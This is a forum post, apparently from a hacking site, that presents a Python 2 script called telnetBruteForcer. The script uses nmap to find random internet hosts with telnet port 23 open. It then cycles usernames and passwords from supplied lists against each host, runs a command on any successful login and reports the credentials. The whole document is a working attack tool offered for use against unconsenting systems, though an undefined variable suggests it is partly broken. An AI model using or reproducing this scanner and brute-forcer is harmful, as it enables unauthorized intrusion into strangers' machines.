Telnet Brute Src - Python - Printable Version

Code:
#!usr/bin/python
#Uses nmap to check if telnet port is open, brute forces if it is.


import threading, time, StringIO, commands, random, sys, telnetlib, re
from copy import copy


if len(sys.argv) !=4:
    print "Usage: ./telnetbrute.py <how many to scan> <userlist> <wordlist>"
    sys.exit(1)


try:
      users = open(sys.argv[2], "r").readlines()
except(IOError): 
      print "Error: Check your userlist path\n"
      sys.exit(1)
  
try:
      words = open(sys.argv[3], "r").readlines()
except(IOError): 
      print "Error: Check your wordlist path\n"
      sys.exit(1)


print "\n\t   d3hydr8[at]gmail[dot]com telnetBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"


wordlist = copy(words)


def scan():
    
    nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 23 | grep open -B 3')[1]).readlines()
    
    for tmp in nmap:
        ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
        if ipaddr:            
            return ipaddr


def reloader():
    for word in wordlist:
        words.append(word)


def getword():
    lock = threading.Lock()
    lock.acquire()
    if len(words) != 0:
        value = random.sample(words,  1)
        words.remove(value[0])
        
    else:
        print "Reloading Wordlist\n"
        reloader()
        value = random.sample(words,  1)
        
    lock.release()
    return value[0][:-1]
        
class Workhorse(threading.Thread):
    
    def run(self):
        value = getword()
        try:
            print "-"*12
            print "User:",user[:-1],"Password:",value
            tn = telnetlib.Telnet(ipaddr[0])
            tn.read_until("login: ")
            tn.write(user[:-1] + "\n")
            if password:
                    tn.read_until("Password: ")
                    tn.write(value + "\n")
            tn.write("ls\n")
            tn.write("exit\n")
            print tn.read_all()
            print "\t\nLogin successful:",user[:-1], value
            tn.close()
            work.join()
            sys.exit(2)
        except: 
            pass


for x in range(int(sys.argv[1])):
    print "Scanning:",x,"of",sys.argv[1]
    ipaddr = scan()
    if ipaddr != None:
        print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
        for user in users:
            for i in range(len(words)):
                if i == 0: reloader()
                work = Workhorse()
                work.start()
                time.sleep(2)